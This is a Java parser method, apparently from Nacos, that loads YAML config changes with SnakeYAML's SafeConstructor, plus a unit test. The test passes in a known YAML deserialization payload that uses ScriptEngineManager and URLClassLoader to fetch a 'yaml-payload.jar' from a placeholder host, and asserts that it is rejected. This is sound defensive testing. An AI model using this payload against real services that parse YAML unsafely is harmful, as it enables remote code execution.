@Override
    public Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) {
        Map<String, Object> oldMap = Collections.emptyMap();
        Map<String, Object> newMap = Collections.emptyMap();
        try {
            Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
            if (StringUtils.isNotBlank(oldContent)) {
                oldMap = yaml.load(oldContent);
                oldMap = getFlattenedMap(oldMap);
            }
            if (StringUtils.isNotBlank(newContent)) {
                newMap = yaml.load(newContent);
                newMap = getFlattenedMap(newMap);
            }
        } catch (MarkedYAMLException e) {
            handleYamlException(e);
        }
        
        return filterChangeData(oldMap, newMap);
    }
@Test
    void testChangeInvalidKey() {
        assertThrows(NacosRuntimeException.class, () -> {
            parser.doParse("anykey:\n  a",
                    "anykey: !!javax.script.ScriptEngineManager [\n" + "  !!java.net.URLClassLoader [[\n"
                            + "    !!java.net.URL [\"http://[yourhost]:[port]/yaml-payload.jar\"]\n" + "  ]]\n" + "]",
                    type);
        });
    }